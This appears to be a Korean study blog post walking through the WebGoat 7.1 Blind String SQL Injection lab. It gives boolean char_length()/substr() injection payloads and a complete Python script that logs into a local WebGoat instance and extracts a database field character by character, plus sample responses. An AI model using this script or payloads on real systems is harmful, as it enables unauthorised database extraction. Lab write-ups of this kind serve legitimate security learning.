본문 바로가기
보안/WebGoat 7.1

[WebGoat] Blind String SQL Injection 자동화 스크립트

by yeni03o_o 2020. 10. 5.

문자열인 field name을 알아내는 Blind String SQL Injection 실습!

Blind String SQL Injection 문제

 

일단! 문자열의 길이를 알아내기 위해 문자열 길이를 추출하는 함수인 char_length() 함수를 사용했다.

101 and char_length(select name from pins where cc_number='4321432143214321') <= 4;

 

문자열의 길이를 구한 후 각 자리에 맞는 문자를 추출하기 위해 substr() 함수를 사용한 query를 날렸다. 

101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) <= 'Z';

 

따라서 위에서 언급한 두 query를 이용하여 스크립트를 작성했다.
코드를 통해 WebGoat 로그인 및 세션 유지 후 Blind String SQL Injection 페이지로 이동하여 해당 query를 입력하도록 했다.


먼저 char_length() 함수를 이용해 문자열의 길이를 추출한 다음,
substr() 함수를 이용해 문자열의 각 문자의 대소문자를 먼저 구분한 후, 대문자와 소문자에 맞는 코드를 수행하여 문자를 찾고, 마지막으로 전체 문자열을 출력하도록 했다.

#pip install requests
import requests
#pip install bs4
from bs4 import BeautifulSoup

# 답: Jill

# Burp Suite로 가로챈 url이어야 함
login_url = 'http://localhost:8080/WebGoat/j_spring_security_check'             # 로그인 페이지 url
url = 'http://localhost:8080/WebGoat/attack?Screen=1315528047&menu=1100'         # Blind Numeric SQL Injection 공격이 이뤄지는 url


# 로그인 페이지의 input 태그의 name값인 username과 password. 그에 대입할 로그인할 유저 정보
Login_INFO = {
    'username': 'guest',
    'password': 'guest'  
}

# 해당 조건에 맞는 모든 태그를 가져오는 find_all()를 사용하여 p태그의 1번째 값과 쿼리 입력 결과값 비교
# <p>Invalid account number</p>    : 존재하지 않을 때
# <p>Account number is valid</p>   : 존재할 때


# name 길이 구하는 함수
def find_len():
    str_len = 1

    while True:
        data = {'account_number': '101 and char_length(select name from pins where cc_number=\'4321432143214321\') <= %d;'%str_len}
        r = Session.post(url, data)         # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
        soup = BeautifulSoup(r.content, 'html.parser')      # Python 내장 html.parser를 이용하여 r.content 파싱
        
        if str(soup.find_all('p')[1]) == '<p>Invalid account number</p>':
            str_len = str_len+1
        else:
            return str_len                  # name 길이 return


#  name 구하는 함수
def find_str(str_len):
    
    flag = 1           # name 길이만큼 반복하기 위한 flag
    name = ''          # 추출된 문자가 추가될 name -> 답 저장용 변수

    # name 길이만큼 반복하도록 설정
    while(flag <= str_len):
        # 해당 문자가 대문자인지 소문자인지 구분하기 위한 query
        data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'Z\';'%flag}
        r = Session.post(url, data)                         # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
        soup = BeautifulSoup(r.content, 'html.parser')      # Python 내장 html.parser를 이용하여 r.content 파싱

        # 해당 문자가 대문자일때
        if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':   
            for ch in range(65, 91):            # A ~ Z 대입하여 응답 비교
                data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'%c\';'%(flag, ch)}
                r = Session.post(url, data)                         # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
                soup = BeautifulSoup(r.content, 'html.parser')      # Python 내장 html.parser를 이용하여 r.content 파싱

                # 문자가 추출되면 name에 해당 문자 추가하고 for문 종료
                if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':
                    name = name + chr(ch)
                    flag = flag +1
                    break

        # 해당 문자가 소문자일때 
        else:
            for ch in range(97, 123):           # a ~ z 대입하여 응답 비교
                data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'%c\';'%(flag, ch)}
                r = Session.post(url, data)                         # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
                soup = BeautifulSoup(r.content, 'html.parser')      # Python 내장 html.parser를 이용하여 r.content 파싱

                # 문자가 추출되면 name에 해당 문자 추가하고 for문 종료
                if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':  
                    name = name + chr(ch)
                    flag = flag +1
                    break
    
    return name         # name return



if __name__ == "__main__":

    # session 생성
    Session = requests.session()
    # 로그인 페이지에 앞서 작성한 Login 정보를 post 방식으로 넘겨주고, 로그인 세션 유지
    login_session = Session.post(login_url, data=Login_INFO)

    str_len = find_len()                # name 길이 찾는 함수로 gogo~
    answer = find_str(int(str_len))     # name 찾는 함수로 gogo~
    print('Name is:', str(answer))

    Session.close()             # 세션 닫
    


# r.content 출력 결과(Invalid / Valid)
'''
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
    The form below allows a user to enter an account number and determine if it is valid or not.  Use this form to develop a true / false test check other entries in the database.
    Reference Ascii Values: 'A' = 65   'Z' = 90   'a' = 97   'z' = 122 
    The goal is to find the value of the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>4321432143214321</b>.  The field is of type varchar, which is a string.
    Put the discovered name in the form to pass the lesson.  Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
    <form accept-charset="UNKNOWN" action="#attack/1315528047/1100" enctype="" method="POST" name="form">
        <p>
            Enter your Account Number:
            <input name="account_number" type="TEXT" value="101 and char_length(select name from pins where cc_number='4321432143214321')&lt;= 1;"/>
            <input name="SUBMIT" type="SUBMIT" value="Go!"/>
            <p>Invalid account number</p>
        </p>
    </form>
</div>


<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
    The form below allows a user to enter an account number and determine if it is valid or not.  Use this form to develop a true / false test check other entries in the database.  
    Reference Ascii Values: 'A' = 65   'Z' = 90   'a' = 97   'z' = 122 
    The goal is to find the value of the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>4321432143214321</b>.  The field is of type varchar, which is a string.
    Put the discovered name in the form to pass the lesson.  Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
    <form accept-charset="UNKNOWN" action="#attack/1315528047/1100" enctype="" method="POST" name="form">
        <p>
            Enter your Account Number: 
            <input name="account_number" type="TEXT" value="101 and char_length(select name from pins where cc_number='4321432143214321')&lt;= 4;"/>
            <input name="SUBMIT" type="SUBMIT" value="Go!"/>
            <p>Account number is valid</p>
        </p>
    </form>
</div>

'''

 

결과적으로 field name인 Jill를 얻을 수 있다!

코드 실행 결과

 

공부하면서 학습 목적으로 작성한 포스팅이므로 내용이 완전하지 않습니다ㅠ 
계속해서 학습 후 지식이 좀 더 쌓이면 수시로 수정해나갈 예정입니다! 
틀린 내용은 둥글게 댓글 달아주시면 빠른 확인 후 수정하겠습니다. :)


참고

 

'보안 > WebGoat 7.1' 카테고리의 다른 글

[WebGoat] Blind Numeric SQL Injection 자동화 스크립트  (0) 2020.10.05
나만 볼거지롱ㅎ  (0) 2020.10.05

댓글